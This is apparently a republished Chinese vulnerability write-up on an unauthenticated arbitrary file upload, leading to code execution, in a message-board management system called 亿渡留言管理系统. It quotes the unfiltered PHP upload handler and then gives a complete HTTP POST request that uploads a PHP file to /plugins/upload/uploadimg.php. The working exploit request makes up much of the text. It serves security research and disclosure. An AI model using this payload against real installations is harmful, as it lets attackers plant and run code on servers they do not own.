0x01 前台任意文件上传
在 /plugins/upload/uploadimg.php 中存在文件上传操作,且无任何过滤,导致任意文件上传.
$file_info = $_FILES['file'];
$file_error = $file_info['error'];
if(!is_dir($dir))//判断目录是否存在
{
mkdir ($dir,0777,true);//如果目录不存在则创建目录
};
$file = $dir.$_FILES["file"]["name"];
if(!file_exists($file))
{
if($file_error == 0){
if(move_uploaded_file($_FILES["file"]["tmp_name"],$uploadfile)){
$arr['msg'] ="上传成功";
}else{
$arr['msg'] = "上传失败";
}
}else{
switch($file_error){
case 1:
$arr['msg'] ='上传文件超过了PHP配置文件中upload_max_filesize选项的值';
break;
case 2:
$arr['msg'] ='超过了表单max_file_size限制的大小';
break;
case 3:
$arr['msg'] ='文件部分被上传';
break;
case 4:
$arr['msg'] ='没有选择上传文件';
break;
case 6:
$arr['msg'] ='没有找到临时文件';
break;
case 7:
case 8:
$arr['msg'] = '系统错误';
break;
}
}
}
Payload:
POST /plugins/upload/uploadimg.php?fp=upimg HTTP/1.1
Host: 127.0.0.1
Content-Length: 197
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypvPqblfrUine6bl3
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/view/home/add.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: userid=1; PHPSESSID=ov8kb5g3n4gng3lfskbnpbch37; Hm_lvt_448f02fca78a892e6d9c5f1c599ff906=1711623626; Hm_lpvt_448f02fca78a892e6d9c5f1c599ff906=1711623626
Connection: close
------WebKitFormBoundarypvPqblfrUine6bl3
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/jpeg
phpinfo();
------WebKitFormBoundarypvPqblfrUine6bl3--
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
如果有师傅对审计有兴趣可以进群私信群主拿源码.
欢迎大家进星悦安全交流1群
原文始发于微信公众号(星悦安全):亿渡留言管理系统 RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论